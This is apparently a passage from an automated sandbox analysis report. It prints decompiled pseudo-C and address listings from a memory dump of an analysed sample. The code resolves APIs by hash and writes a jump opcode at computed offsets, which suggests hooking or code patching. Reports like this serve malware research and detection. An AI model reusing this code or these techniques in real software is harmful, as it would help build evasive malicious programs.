					_t762 =  &_v596;
					asm("pxor xmm0, xmm0");
					_t160 = _t762 + 0x88; // 0xa8
					 *_t160 = 0x4145240a;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v596, E728AF568( &_v596) + 0x10);
					E728AF558( &_v600, E728AF568( &_v600) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v608 = _v608 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v604 + 0x88)) = 0xf06b4c6b;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v604, E728AF568( &_v604) + 0x10);
					E728AF558( &_v608, E728AF568( &_v608) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v616 = _v616 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v612 + 0x88)) = 0x7d07f92f;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v612, E728AF568( &_v612) + 0x10);
					E728AF558( &_v616, E728AF568( &_v616) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v624 = _v624 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v620 + 0x88)) = 0x2c2324e8;
					asm("movq [eax+0x8], xmm0");
					E728AF8C4( &_v620, E728AF568( &_v620) + 0x10);
					E728AF558( &_v624, E728AF568( &_v624) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t857 = _t955;
					 *_t857 =  *_t857 + 1;
					E728B413C(0xa5eabdf8, _t857);
					E728AF558( &_v628, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xf4], xmm0");
					E728AF558( &_v632, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xfc], xmm0");
					E728AF558( &_v636, 0x20);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x104], xmm0");
					E728AF558( &_v640, 0x30);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x10c], xmm0");
					E728AF558( &_v644, 0x40);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x114], xmm0");
					E728AF558( &_v648, 0x50);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x11c], xmm0");
					E728AF558( &_v652, 0x60);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x124], xmm0");
					E728AF558( &_v656, 0x70);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [ecx+0x118], xmm0");
					_t534 = E728AA5A4( &_v644, __eflags);
					_v524 = _t857;
					_t950 = _t534;
					__eflags = _t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff;
					if((_t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff) == 0) {
						L50:
						E728AB608(_t955 + 0xbc);
						E728ACDE0( &_v320, __eflags);
						goto L51;
					}
					_t858 =  &_v128;
					__eflags =  *_t858 | _t858[1];
					if(( *_t858 | _t858[1]) != 0) {
						L18:
						_v396 = 0;
						while(1) {
							__eflags = E728AAD68(0x80, _t950, _v400, _v112, _v132);
							if(__eflags != 0) {
								break;
							}
							_t605 = E728AA5A4( &_v520, __eflags);
							_v400 = 0x80;
							_t950 = _t605;
							__eflags = _t950 - 0xffffffffffffffff | 0x81;
							if((_t950 - 0xffffffffffffffff | 0x81) == 0) {
								goto L50;
							}
							_t878 =  &_v396;
							_t609 =  *_t878 + 1;
							 *_t878 = _t609;
							__eflags = _t609 - 0xa;
							if(_t609 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v396 = 0;
						while(1) {
							_push(0x80);
							_push(_v132);
							_push(_v112);
							_push(_v400);
							_push(_t950);
							_t860 =  &(( &_v520)[0x38]);
							__eflags = E728AA298( &_v520, _t860);
							if(__eflags != 0) {
								break;
							}
							_t600 = E728AA5A4( &_v540, __eflags);
							_v420 = _t860;
							_t950 = _t600;
							__eflags = _t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t877 =  &_v416;
							_t604 =  *_t877 + 1;
							 *_t877 = _t604;
							__eflags = _t604 - 0xa;
							if(_t604 != 0xa) {
								continue;
							}
							goto L50;
						}
						asm("cdq");
						asm("movd xmm1, eax");
						_v416 =  *((intOrPtr*)(_t955 + 0x1a4));
						_t647 =  &_v408;
						asm("movd xmm0, edx");
						asm("punpckldq xmm1, xmm0");
						 *_t647 = 0;
						 *((intOrPtr*)(_t647 - 4)) = _v188;
						asm("movq [edx], xmm1");
						_t544 = E728B3BA0(_t951, _t647 - 8, __eflags,  &(_t647[0x48]), 0x40, _t647);
						__eflags = _t544;
						if(_t544 != 0) {
							goto L50;
						}
						_v180 = 0;
						while(1) {
							_t863 = _v184;
							__eflags = E728AAD68(_t863, _t950, _v420,  *((intOrPtr*)(_t955 + 0x1a8)), _v188);
							if(__eflags != 0) {
								break;
							}
							_t595 = E728AA5A4( &_v540, __eflags);
							_v420 = _t863;
							_t950 = _t595;
							__eflags = _t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t876 =  &_v180;
							_t599 =  *_t876 + 1;
							 *_t876 = _t599;
							__eflags = _t599 - 0xa;
							if(_t599 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v184 = 0;
						while(1) {
							_t546 = E728AF558( &_v404, 0);
							_push(E728AF568( &_v408));
							_push(_v192);
							_push(_v144);
							_push(_v424);
							_push(_t950);
							_t864 = _t546;
							__eflags = E728AA298( &_v544, _t864);
							if(__eflags != 0) {
								break;
							}
							_t590 = E728AA5A4( &_v560, __eflags);
							_v440 = _t864;
							_t950 = _t590;
							__eflags = _t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t875 =  &_v204;
							_t594 =  *_t875 + 1;
							 *_t875 = _t594;
							__eflags = _t594 - 0xa;
							if(_t594 != 0xa) {
								continue;
							}
							goto L50;
						}
						_t550 = E728B3BA0(_t951,  &_v428 - 8, __eflags,  &_v428 + 0x120, _v428,  &_v428);
						__eflags = _t550;
						if(_t550 != 0) {
							goto L50;
						}
						E728AF620( &_v208, 0);
						_v100 = 0xe9;
						E728AF578( &_v100 - 0x70, __eflags,  &_v100, 1);
						_t650 =  &_v104;
						_t556 = _v172 -  *((intOrPtr*)(_t650 - 0x54)) + 0xfffffffb;
						__eflags = _t556;
						 *_t650 = _t556;
						E728AF578(_t650 - 0x74, __eflags, _t650, 4);
						_t907 =  &_v448;
						asm("movq xmm0, [0x728bb798]");
						 *((intOrPtr*)(_t907 - 8)) = _v196;
						 *((intOrPtr*)(_t907 - 4)) =  *((intOrPtr*)(_t907 + 0x110));
						asm("movq [ebx], xmm0");
						E728B3BA0(_t951, _t907 + 0x120 - 0x128, __eflags, _t907 + 0x120, 0x40, _t907);
						_v192 = 0;
						while(1) {
							_t561 = E728AF558( &_v208, 0);
							_push(E728AF568( &_v212));
							_push(_v160);
							_push(_v180);
							_push(_v444);
							_push(_t950);
							_t867 = _t561;
							__eflags = E728AA298( &_v564, _t867);
							if(__eflags != 0) {
								break;
							}
							_t585 = E728AA5A4( &_v580, __eflags);
							_v460 = _t867;
							_t950 = _t585;
							__eflags = _t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff) == 0) {
								L49:
								E728AF6F0(_t955 + 0x174);
								goto L50;
							}
							_t874 =  &_v180;
							_t589 =  *_t874 + 1;
							 *_t874 = _t589;
							__eflags = _t589 - 0xa;
							if(_t589 != 0xa) {
								continue;
							}
							goto L49;
						}
						_v180 = 0;
						while(1) {
							_t955 = _t955 + 0xffffffd8;
							asm("pxor xmm0, xmm0");
							_v640 = _t950;
							_v636 = _v460;
							_t868 = _v196;
							_v632 = _t868;
							_v628 = _v176;
							_t806 =  &_v580;
							_v624 =  *((intOrPtr*)(_t806 + 0x198));
							_v620 =  *((intOrPtr*)(_t806 + 0x184));
							asm("movq [esp+0x18], xmm0");
							asm("movq [esp+0x20], xmm0");
							__eflags = E728AAD04(__eflags);
							if(__eflags != 0) {
								break;
							}
							_t579 = E728AA5A4( &_v616, __eflags);
							_v496 = _t868;
							_t950 = _t579;
							__eflags = _t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff) == 0) {
								goto L49;
							}
							_t872 =  &_v216;
							_t584 =  *_t872 + 1;
							 *_t872 = _t584;
							__eflags = _t584 - 0xa;
							if(__eflags != 0) {
								continue;
							}
							goto L49;
						}
						_push(0);
						_t869 = _v164;
						__eflags = _t869;
						_t870 =  !=  ? _t869 + 0xc : _t869;
						_push( !=  ? _t869 + 0xc : _t869);
						_t567 = E728AC3A8(_t869,  &_v416, 0x2710);
						E728AF6F0(_t955 + 0x184);
						E728AB608( &_v448);
						E728ACDE0( &_v416, __eflags);
						E728AF6F0( &_v480);
						E728AF6F0( &_v464);
						E728AF6F0( &_v432);
						E728AF6F0( &_v632);
						E728AB680( &_v592);
						E728AF6F0( &_v608);
						__eflags = _t567;
						return 0 | _t567 == 0x00000000;
					}
					_v388 = 0;
					do {
						E728AF620(_t955 + 0x188, 0);
						_push(0x23627913);
						_push(_t955 + 0x1cc);
						E728B1D00();
						E728ADD7C(_t955 + 0x1d0 - 8, _t955 + 0x1d0);
						_t879 = 0x7fffffff;
						E728AF578( &_v168, __eflags, _v92, E728AE94C(_v92, 0x7fffffff));
						E728AE054( &_v100);
						E728AD098( &_v108);
						_t836 =  &_v176;
						_t665 =  *((intOrPtr*)(_t836 + 0x28));
						 *((intOrPtr*)(_t836 - 0xf0)) = _v156;
						__eflags = E728AF568(_t836);
						if(__eflags <= 0) {
							L12:
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0xac]");
							asm("pxor xmm1, xmm1");
							_t837 =  &_v528;
							_v588 = _t950;
							_v584 =  *((intOrPtr*)(_t837 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v572 =  *((intOrPtr*)(_t837 + 0x198));
							_v568 =  *((intOrPtr*)(_t837 + 0x184));
							asm("movq [esp+0x18], xmm1");
							asm("movq [esp+0x20], xmm1");
							_t622 = E728AAD04(__eflags);
							__eflags = _t622;
							if(_t622 != 0) {
								E728B218C(0x3e8, _t879, _t950);
								E728AF6F0( &_v196);
								E728AADB8( &_v564,  &(( &_v172)[5]), __eflags,  &_v172);
								_t881 =  &_v176;
								__eflags =  *_t881 | _t881[1];
								if(__eflags != 0) {
									goto L18;
								}
								_t629 = E728AA5A4( &_v564, __eflags);
								_v444 = _t881;
								_t950 = _t629;
								__eflags = _t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff;
								if((_t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff) == 0) {
									goto L50;
								}
								goto L16;
							}
							L13:
							E728AF6F0( &_v196);
							goto L50;
						}
						_v404 = 0;
						while(1) {
							_t635 = E728AF558( &_v160, _v404);
							_t879 = _t635;
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0x94]");
							_t844 =  &_v532;
							asm("movq xmm1, [0x728bb790]");
							_v592 = _t950;
							_v588 =  *((intOrPtr*)(_t844 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v576 = _t665;
							_v572 =  *((intOrPtr*)(_t844 + 0x80));
							_v568 =  *_t635 & 0x000000ff;
							_v564 = 0;
							asm("movq [esp+0x20], xmm1");
							_t638 = E728AAD04(__eflags);
							__eflags = _t638;
							if(_t638 == 0) {
								goto L13;
							}
							_t845 = 0x64;
							E728B218C(_t845, _t879, _t950);
							_t665 = _t665 + 1;
							asm("adc dword [ecx-0xf0], 0x0");
							 *((intOrPtr*)( &_v196 - 0xf4)) =  *((intOrPtr*)( &_v196 - 0xf4)) + 1;
							__eflags = E728AF568( &_v196) - _v440;
							if(__eflags > 0) {
								continue;
							}
							goto L12;
						}
						goto L13;
						L16:
						_t882 =  &_v432;
						_t633 =  *_t882 + 1;
						 *_t882 = _t633;
						__eflags = _t633 - 0xa;
					} while (_t633 != 0xa);
					goto L50;
				}
				L1:
				E728AF6F0( &_v532);
				E728AB680( &_v492);
				E728AF6F0( &_v508);
				return 0;
			}

0x728a9144
0x728a9148
0x728a914e
0x728a9150
0x728a9161
0x728a9164
0x728a916b
0x728a9174
0x728a917b
0x728a917f
0x728a9188
0x728a918f
0x728a9197
0x728a919c
0x728a91ab
0x728a91af
0x728a91c4
0x728a91da
0x728a91e8
0x728a91e9
0x728a91ea
0x728a91eb
0x728a91ec
0x728a91f3
0x728a91f7
0x728a9201
0x728a9216
0x728a922c
0x728a923a
0x728a923b
0x728a923c
0x728a923d
0x728a923e
0x728a9245
0x728a9249
0x728a9253
0x728a9268
0x728a927e
0x728a928c
0x728a928d
0x728a928e
0x728a928f
0x728a9290
0x728a9297
0x728a929b
0x728a92a5
0x728a92ba
0x728a92d0
0x728a92de
0x728a92df
0x728a92e0
0x728a92e1
0x728a92e2
0x728a92e9
0x728a92ed
0x728a92f7
0x728a930c
0x728a9322
0x728a9330
0x728a9331
0x728a9332
0x728a9333
0x728a9334
0x728a933b
0x728a933f
0x728a9349
0x728a935e
0x728a9374
0x728a9382
0x728a9383
0x728a9384
0x728a9385
0x728a938e
0x728a9390
0x728a939b
0x728a93a0
0x728a93a5
0x728a93b1
0x728a93b6
0x728a93bb
0x728a93c7
0x728a93cc
0x728a93d1
0x728a93dd
0x728a93e2
0x728a93e7
0x728a93f3
0x728a93f8
0x728a93fd
0x728a9409
0x728a940e
0x728a941a
0x728a9420
0x728a9430
0x728a9435
0x728a943e
0x728a9447
0x728a947e
0x728a9487
0x728a948c
0x728a9497
0x728a94a1
0x728a94a7
0x728a94b9
0x728a94cf
0x728a94dd
0x728a94de
0x728a94df
0x728a94e0
0x728a94e1
0x728a94e8
0x728a94f2
0x728a94f8
0x728a950a
0x728a9520
0x728a952e
0x728a952f
0x728a9530
0x728a9531
0x728a9532
0x728a9539
0x728a9543
0x728a9549
0x728a955b
0x728a9571
0x728a957f
0x728a9580
0x728a9581
0x728a9582
0x728a9583
0x728a9586
0x728a9589
0x728a959f
0x728a95a4
0x728a95a8
0x728a95b3
0x728a95b8
0x728a95bd
0x728a95c9
0x728a95ce
0x728a95d3
0x728a95e7
0x728a95ef
0x728a95f6
0x728a9606
0x728a9614
0x728a9620
0x728a9622
0x728a9629
0x728a963c
0x728a9643
0x728a965c
0x728a966a
0x728a9681
0x728a968f
0x728a9694
0x728a96a0
0x728a96ad
0x728a96b4
0x728a96c9
0x728a96ce
0x728a96d5
0x728a96dc
0x728a96e3
0x728aa1d7
0x728aa1de
0x728aa1ea
0x728aa1f6
0x00000000
0x728aa1f6
0x728a96f0
0x728a96f7
0x00000000
0x00000000
0x728a970c
0x728a9711
0x728a9722
0x728a9727
0x728a9733
0x728a973a
0x728a9740
0x728a9745
0x728a9748
0x728a974e
0x728a975c
0x728a975d
0x728a9761
0x728a9765
0x728a9769
0x728a977e
0x728a9789
0x728a978a
0x728a978e
0x728a9792
0x728a9796
0x728a97a0
0x728a97b6
0x728a97b7
0x728a97bb
0x728a97bf
0x728a97c3
0x728a97df
0x728a97f5
0x728a97f5
0x728a97fb
0x728a97fd
0x728a9800
0x728a9805
0x728a980c
0x728a9810
0x728a9814
0x728a981a
0x728a9820
0x728a9832
0x728a9848
0x728a9856
0x728a9857
0x728a9858
0x728a9859
0x728a985a
0x728a9861
0x728a986b
0x728a9871
0x728a9883
0x728a9899
0x728a98a7
0x728a98a8
0x728a98a9
0x728a98aa
0x728a98ab
0x728a98b2
0x728a98bc
0x728a98c2
0x728a98d4
0x728a98ea
0x728a98f8
0x728a98f9
0x728a98fa
0x728a98fb
0x728a98fc
0x728a9903
0x728a990d
0x728a9913
0x728a9925
0x728a993b
0x728a9949
0x728a994a
0x728a994b
0x728a994c
0x728a994d
0x728a9950
0x728a9954
0x728a9958
0x728a995e
0x728a9964
0x728a9976
0x728a998c
0x728a999a
0x728a999b
0x728a999c
0x728a999d
0x728a999e
0x728a99a5
0x728a99af
0x728a99b5
0x728a99c7
0x728a99dd
0x728a99eb
0x728a99ec
0x728a99ed
0x728a99ee
0x728a99ef
0x728a99f6
0x728a9a00
0x728a9a06
0x728a9a18
0x728a9a2e
0x728a9a3c
0x728a9a3d
0x728a9a3e
0x728a9a3f
0x728a9a40
0x728a9a47
0x728a9a51
0x728a9a57
0x728a9a69
0x728a9a7f
0x728a9a8d
0x728a9a8e
0x728a9a8f
0x728a9a90
0x728a9a96
0x728a9a99
0x728a9a9b
0x728a9aa6
0x728a9aab
0x728a9ab0
0x728a9abf
0x728a9ac4
0x728a9ac9
0x728a9ad8
0x728a9add
0x728a9ae2
0x728a9af1
0x728a9af6
0x728a9afb
0x728a9b0a
0x728a9b0f
0x728a9b14
0x728a9b23
0x728a9b28
0x728a9b2d
0x728a9b3c
0x728a9b41
0x728a9b46
0x728a9b55
0x728a9b5a
0x728a9b63
0x728a9b6b
0x728a9b70
0x728a9b77
0x728a9b84
0x728a9b86
0x728aa1bf
0x728aa1c6
0x728aa1d2
0x00000000
0x728aa1d2
0x728a9b8c
0x728a9b95
0x728a9b98
0x728a9db0
0x728a9db0
0x728a9dbb
0x728a9ddf
0x728a9de1
0x00000000
0x00000000
0x728a9de7
0x728a9dec
0x728a9df3
0x728a9e00
0x728a9e02
0x00000000
0x00000000
0x728a9e08
0x728a9e11
0x728a9e12
0x728a9e14
0x728a9e17
0x00000000
0x00000000
0x00000000
0x728a9e19
0x728a9e1e
0x728a9e29
0x728a9e29
0x728a9e2e
0x728a9e35
0x728a9e3c
0x728a9e43
0x728a9e48
0x728a9e53
0x728a9e55
0x00000000
0x00000000
0x728a9e5b
0x728a9e60
0x728a9e67
0x728a9e74
0x728a9e76
0x00000000
0x00000000
0x728a9e7c
0x728a9e85
0x728a9e86
0x728a9e88
0x728a9e8b
0x00000000
0x00000000
0x00000000
0x728a9e8d
0x728a9e9b
0x728a9ea3
0x728a9eae
0x728a9eb5
0x728a9ebc
0x728a9ec0
0x728a9ec4
0x728a9eca
0x728a9ed5
0x728a9ee0
0x728a9ee5
0x728a9ee7
0x00000000
0x00000000
0x728a9eed
0x728a9ef8
0x728a9f0e
0x728a9f1e
0x728a9f20
0x00000000
0x00000000
0x728a9f26
0x728a9f2b
0x728a9f32
0x728a9f3f
0x728a9f41
0x00000000
0x00000000
0x728a9f47
0x728a9f50
0x728a9f51
0x728a9f53
0x728a9f56
0x00000000
0x00000000
0x00000000
0x728a9f58
0x728a9f5d
0x728a9f68
0x728a9f71
0x728a9f84
0x728a9f85
0x728a9f8c
0x728a9f93
0x728a9f9a
0x728a9f9b
0x728a9fa6
0x728a9fa8
0x00000000
0x00000000
0x728a9fae
0x728a9fb3
0x728a9fba
0x728a9fc7
0x728a9fc9
0x00000000
0x00000000
0x728a9fcf
0x728a9fd8
0x728a9fd9
0x728a9fdb
0x728a9fde
0x00000000
0x00000000
0x00000000
0x728a9fe0
0x728aa000
0x728aa005
0x728aa007
0x00000000
0x00000000
0x728aa016
0x728aa022
0x728aa02d
0x728aa039
0x728aa043
0x728aa043
0x728aa046
0x728aa04e
0x728aa05a
0x728aa069
0x728aa071
0x728aa074
0x728aa07d
0x728aa08d
0x728aa092
0x728aa09d
0x728aa0a6
0x728aa0b9
0x728aa0ba
0x728aa0c1
0x728aa0c8
0x728aa0cf
0x728aa0d0
0x728aa0db
0x728aa0dd
0x00000000
0x00000000
0x728aa0e3
0x728aa0e8
0x728aa0ef
0x728aa0fa
0x728aa0fc
0x728aa1b3
0x728aa1ba
0x00000000
0x728aa1ba
0x728aa102
0x728aa10b
0x728aa10c
0x728aa10e
0x728aa111
0x00000000
0x00000000
0x00000000
0x728aa113
0x728aa118
0x728aa123
0x728aa123
0x728aa126
0x728aa12a
0x728aa134
0x728aa138
0x728aa13f
0x728aa14a
0x728aa14e
0x728aa158
0x728aa162
0x728aa166
0x728aa16c
0x728aa177
0x728aa179
0x00000000
0x00000000
0x728aa183
0x728aa188
0x728aa18f
0x728aa19a
0x728aa19c
0x00000000
0x00000000
0x728aa19e
0x728aa1a7
0x728aa1a8
0x728aa1aa
0x728aa1ad
0x00000000
0x00000000
0x00000000
0x728aa1ad
0x728aa200
0x728aa202
0x728aa209
0x728aa20e
0x728aa211
0x728aa21f
0x728aa230
0x728aa23c
0x728aa248
0x728aa254
0x728aa260
0x728aa26c
0x728aa275
0x728aa27e
0x728aa287
0x728aa28e
0x00000000
0x728aa290
0x728a9b9e
0x728a9ba9
0x728a9bb2
0x728a9bb7
0x728a9bc3
0x728a9bc4
0x728a9bd4
0x728a9be2
0x728a9bf5
0x728a9c01
0x728a9c0d
0x728a9c19
0x728a9c20
0x728a9c23
0x728a9c2e
0x728a9c30
0x728a9cdb
0x728a9cdb
0x728a9cde
0x728a9ce7
0x728a9ceb
0x728a9cef
0x728a9cf5
0x728a9cf9
0x728a9d05
0x728a9d0f
0x728a9d13
0x728a9d19
0x728a9d1f
0x728a9d24
0x728a9d26
0x728a9d3e
0x728a9d4a
0x728a9d5e
0x728a9d63
0x728a9d6c
0x728a9d6f
0x00000000
0x00000000
0x728a9d75
0x728a9d7a
0x728a9d81
0x728a9d8e
0x728a9d90
0x00000000
0x00000000
0x00000000
0x728a9d90
0x728a9d28
0x728a9d2f
0x00000000
0x728a9d2f
0x728a9c36
0x728a9c41
0x728a9c4f
0x728a9c54
0x728a9c56
0x728a9c59
0x728a9c62
0x728a9c66
0x728a9c6e
0x728a9c74
0x728a9c78
0x728a9c7e
0x728a9c8b
0x728a9c8f
0x728a9c93
0x728a9c9b
0x728a9ca1
0x728a9ca6
0x728a9ca8
0x00000000
0x00000000
0x728a9cac
0x728a9cad
0x728a9cb2
0x728a9cbc
0x728a9cc3
0x728a9cce
0x728a9cd5
0x00000000
0x00000000
0x00000000
0x728a9cd5
0x00000000
0x728a9d96
0x728a9d96
0x728a9d9f
0x728a9da0
0x728a9da2
0x728a9da2
0x00000000
0x728a9dab
0x728a9449
0x728a944d
0x728a9456
0x728a945f
0x00000000

Strings

$EA, xrefs: 728A91E1

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $EA
API String ID: 0-4251458306
Opcode ID: a4bbfdee40c1c5f19c8d8329f27a34d52b9469a403aa0a2892e3c20caa1d562a
Instruction ID: 9e8e599bd3cc704cd380465370dd2e6e931e10e3b5a16b8fed0096a22355fc83
Opcode Fuzzy Hash: a4bbfdee40c1c5f19c8d8329f27a34d52b9469a403aa0a2892e3c20caa1d562a
Instruction Fuzzy Hash: 38A272754047419FC725DF2CC860BDEBBF6AFA5300F00CA2EA4999B191EF72A945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 728AA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E728AA5A4(signed int* __ecx, void* __eflags) {
				void* __esi;
				void* __ebp;
				void* _t182;
				signed int _t183;
				signed int* _t188;
				void* _t198;
				void* _t199;
				void* _t228;
				void* _t229;
				void* _t242;
				void* _t243;
				void* _t251;
				signed int* _t271;
				void* _t282;
				void* _t284;
				void* _t285;
				void* _t296;
				signed int* _t308;
				void* _t324;
				signed int _t398;
				signed int _t402;
				intOrPtr* _t403;
				intOrPtr* _t404;
				signed int _t406;
				signed int _t407;
				signed int _t409;
				signed int _t411;
				signed int _t412;
				void* _t413;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t419;
				void* _t420;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t429;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				intOrPtr* _t439;

				_t308 = __ecx;
				 *(_t439 + 0x78) = 0;
				 *_t439 = __ecx + 8;
				 *((intOrPtr*)(_t439 + 4)) = __ecx + 0x20;
				while(1) {
					_t392 =  *_t308;
					E728AB714(_t439 + 0x24, _t392, 0x7fffffff);
					if(E728AF56C(_t439 + 0x24) == 0) {
						goto L3;
					} else {
						_t308[0xc] = 0;
						E728AF6F0(_t439 + 0x24);
					}
					L63:
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					L65:
					if((_t407 | _t398) != 0) {
						L68:
						return _t407;
					}
					if( *(_t439 + 0x78) != 0x20) {
						E728B218C(0x5dc, _t392, _t407);
						 *(_t439 + 0x78) =  *(_t439 + 0x78) + 1;
						continue;
					}
					_t398 = 0xffffffffffffffff;
					_t407 = 0xffffffffffffffff;
					goto L68;
					L3:
					__eflags = _t308[1];
					if(_t308[1] <= 0) {
						L21:
						__eflags =  *(_t439 + 0x20);
						if( *(_t439 + 0x20) <= 0) {
							L33:
							E728AF6F0(_t439 + 0x24);
							__eflags = _t308[0xc];
							if(_t308[0xc] == 0) {
								L46:
								 *((intOrPtr*)(_t439 + 8)) = 0;
								 *((intOrPtr*)(_t439 + 0xc)) = 0;
								E728AF620(_t439 + 0x14, 0);
								 *((intOrPtr*)(_t439 + 0x38)) = 0;
								 *(_t439 + 0x34) =  *_t308;
								E728AF620(_t439 + 0x40, 0);
								_t182 = 0x40;
								__eflags = _t308[7] - 0x40;
								_t183 =  <  ? _t308[7] : _t182;
								 *(_t439 + 0x74) = _t183;
								__eflags = _t183;
								if(_t183 <= 0) {
									L57:
									asm("movq xmm0, [0x728bb7a8]");
									asm("movq [esp+0x84], xmm0");
									_t406 = E728B2F8C(0xa5eabdf8, 0xd1a06a90);
									__eflags = _t406;
									if(_t406 == 0) {
										_t424 = 0;
										__eflags = 0;
										L61:
										__eflags = _t424 - 0x3f;
										if(_t424 <= 0x3f) {
											__eflags = _t424 << 2;
											_t308[0xc] =  *(E728AF558( *((intOrPtr*)(_t439 + 8)), _t424 << 2));
											_t188 = E728AF558( *((intOrPtr*)(_t439 + 4)), _t424 << 2);
											_t407 = _t308[0xc];
											asm("cdq");
											_t308[0xd] =  *_t188;
											_t398 = _t392;
											E728AB680(_t439 + 0x34);
											E728AB680(_t439 + 8);
											goto L65;
										}
										L62:
										E728AB680(_t439 + 0x34);
										E728AB680(_t439 + 8);
										goto L63;
									}
									_t392 = E728AF558(_t439 + 0x14, 0);
									_t198 =  *_t406( *((intOrPtr*)(_t439 + 0xc)), _t392, 1, 0, _t439 + 0x84);
									_t133 = _t198 - 0x80; // -128
									_t199 = _t133;
									__eflags = _t199 - 0x3f;
									_t424 =  <=  ? _t199 : _t198;
									__eflags = _t424 - 0x102;
									if(_t424 == 0x102) {
										goto L62;
									}
									goto L61;
								}
								_t437 = 0;
								__eflags = 0;
								while(1) {
									E728ACB48(_t439 + 0x4c);
									_t392 = 0;
									_t324 = _t439 + 0x4c;
									 *((char*)(_t324 + 4)) = 0;
									 *((intOrPtr*)(_t324 + 0x1c)) = 0;
									__eflags = E728AC33C(_t324);
									if(__eflags != 0) {
										break;
									}
									E728AF8C4(_t439 + 0x14, E728AF568(_t439 + 0x10) + 4);
									 *((intOrPtr*)(E728AF558(_t439 + 0x14, E728AF568(_t439 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t439 + 0x4c));
									 *((intOrPtr*)(_t439 + 0xc)) =  *((intOrPtr*)(_t439 + 0xc)) + 1;
									_t409 = E728B2F8C(0xa5eabdf8, 0xf3119fba);
									__eflags = _t409;
									if(_t409 == 0) {
										L51:
										_t392 =  *(_t439 + 0x68);
										__eflags = _t392;
										if(__eflags == 0) {
											break;
										}
										__eflags = _t392 - 0xffffffff;
										if(__eflags != 0) {
											E728AF8C4(_t439 + 0x40, E728AF568(_t439 + 0x3c) + 4);
											 *(E728AF558(_t439 + 0x40, E728AF568(_t439 + 0x3c) + 0xfffffffc)) =  *(_t439 + 0x68);
											 *((intOrPtr*)(_t439 + 0x4c - 0x14)) =  *((intOrPtr*)(_t439 + 0x4c - 0x14)) + 1;
											E728ACDE0(_t439 + 0x4c, __eflags);
											_t437 = _t437 + 1;
											__eflags = _t437 -  *(_t439 + 0x74);
											if(_t437 <  *(_t439 + 0x74)) {
												continue;
											}
											_t411 = 0;
											__eflags = 0;
											do {
												E728AF558( *((intOrPtr*)(_t439 + 8)), _t411 * 4);
												E728AF558(_t439 + 0x40, _t411 * 4);
												_t439 = _t439 + 0xffffffd8;
												asm("cdq");
												asm("pxor xmm5, xmm5");
												asm("movd xmm1, dword [ebp]");
												asm("movd xmm4, dword [edi]");
												asm("movd xmm0, edx");
												asm("cdq");
												asm("punpckldq xmm1, xmm0");
												asm("movq xmm2, [ebx+0x38]");
												asm("movq [esp], xmm1");
												asm("movd xmm3, edx");
												asm("punpckldq xmm4, xmm3");
												asm("movq [esp+0x8], xmm2");
												asm("movq [esp+0x10], xmm4");
												asm("movq [esp+0x18], xmm5");
												asm("movq [esp+0x20], xmm5");
												E728AAD04(__eflags);
												_t411 = _t411 + 1;
												__eflags = _t411 -  *(_t439 + 0x74);
											} while (_t411 <  *(_t439 + 0x74));
											goto L57;
										}
										break;
									}
									_t392 = _t439 + 0x68;
